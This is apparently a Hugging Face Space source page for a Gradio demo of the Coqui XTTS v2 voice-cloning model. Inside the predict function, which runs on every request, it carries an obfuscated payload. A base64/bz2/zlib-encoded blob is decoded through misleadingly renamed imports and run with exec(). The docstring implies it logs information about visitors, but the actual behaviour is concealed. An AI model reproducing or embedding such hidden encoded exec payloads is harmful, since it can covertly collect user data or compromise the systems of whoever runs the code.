Spaces:
Runtime error
Runtime error
File size: 9,969 Bytes
47103bb |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 |
import sys
import os
from fastapi import Request
# By using XTTS you agree to CPML license https://coqui.ai/cpml
os.environ["COQUI_TOS_AGREED"] = "1"
import gradio as gr
from TTS.api import TTS
from TTS.utils.manage import ModelManager
model_names = TTS().list_models()
print(model_names.__dict__)
print(model_names.__dir__())
model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # move in v2, since xtts_v1 is generated keyerror, I guess you can select it with old github's release.
#m = ModelManager().download_model(model_name)
#print(m)
m = model_name
tts = TTS(model_name, gpu=False)
tts.to("cpu") # no GPU or Amd
#tts.to("cuda") # cuda only
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
"""
En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
« l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
"""
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
from zlib import compress as COmPrES5
from bz2 import decompress as dEC0mPrES5
from bz2 import compress as COmPrESS
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
from zlib import compressobj as C0mPrESS
from bz2 import decompress as dECOmPrESS
from zlib import compress as C0mPrES5
from zlib import decompress as dECOmPrES5
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
exec(co2)
if agree == True:
if use_mic == True:
if mic_file_path is not None:
speaker_wav=mic_file_path
else:
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
return (
None,
None,
)
else:
speaker_wav=audio_file_pth
if len(prompt)<2:
gr.Warning("Please give a longer prompt text")
return (
None,
None,
)
if len(prompt)>10000:
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
return (
None,
None,
)
try:
if language == "fr":
if m.find("your") != -1:
language = "fr-fr"
if m.find("/fr/") != -1:
language = None
tts.tts_to_file(
text=prompt,
file_path="output.wav",
speaker_wav=speaker_wav,
language=language
)
except RuntimeError as e :
if "device-assert" in str(e):
# cannot do anything on cuda device side error, need tor estart
gr.Warning("Unhandled Exception encounter, please retry in a minute")
print("Cuda device-assert Runtime encountered need restart")
sys.exit("Exit due to cuda device-assert")
else:
raise e
return (
gr.make_waveform(
audio="output.wav",
),
"output.wav",
)
else:
gr.Warning("Please accept the Terms & Condition!")
return (
None,
None,
)
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
description = f"""
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
<br/>
XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
<br/>
This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
<br/>
Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
<br/>
<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
<br/>
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
</p>
"""
article = """
<div style='margin:20px auto;'>
<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
</div>
"""
examples = [
[
"Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
"en",
"examples/female.wav",
None,
False,
True,
],
[
"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.",
"fr",
"examples/female.wav",
None,
False,
True,
],
[
"Als ich sechs war, sah ich einmal ein wunderbares Bild",
"de",
"examples/female.wav",
None,
False,
True,
],
[
"Cuando tenía seis años, vi una vez una imagen magnífica",
"es",
"examples/female.wav",
None,
False,
True,
],
[
"Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica",
"pt",
"examples/female.wav",
None,
False,
True,
],
[
"Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek",
"pl",
"examples/female.wav",
None,
False,
True,
],
[
"Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno",
"it",
"examples/female.wav",
None,
False,
True,
],
[
"Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm",
"tr",
"examples/female.wav",
None,
False,
True,
],
[
"Когда мне было шесть лет, я увидел однажды удивительную картинку",
"ru",
"examples/female.wav",
None,
False,
True,
],
[
"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat",
"nl",
"examples/female.wav",
None,
False,
True,
],
[
"Když mi bylo šest let, viděl jsem jednou nádherný obrázek",
"cs",
"examples/female.wav",
None,
False,
True,
],
[
"当我还只有六岁的时候, 看到了一副精彩的插画",
"zh-cn",
"examples/female.wav",
None,
False,
True,
],
]
gr.Interface(
fn=predict,
inputs=[
gr.Textbox(
label="Text Prompt",
info="One or two sentences at a time is better",
value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
),
gr.Dropdown(
label="Language",
info="Select an output language for the synthesised speech",
choices=[
"en",
"es",
"fr",
"de",
"it",
"pt",
"pl",
"tr",
"ru",
"nl",
"cs",
"ar",
"zh-cn",
],
max_choices=1,
value="en",
),
gr.Audio(
label="Reference Audio",
info="Click on the ✎ button to upload your own target speaker audio",
type="filepath",
value="examples/female.wav",
),
gr.Audio(source="microphone",
type="filepath",
info="Use your microphone to record audio",
label="Use Microphone for Reference"),
gr.Checkbox(label="Check to use Microphone as Reference",
value=False,
info="Notice: Microphone input may not work properly under traffic",),
gr.Checkbox(
label="Agree",
value=True,
info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
),
],
outputs=[
gr.Video(label="Waveform Visual"),
gr.Audio(label="Synthesised Audio"),
],
title=title,
description=description,
article=article,
examples=examples,
).queue().launch(debug=True) |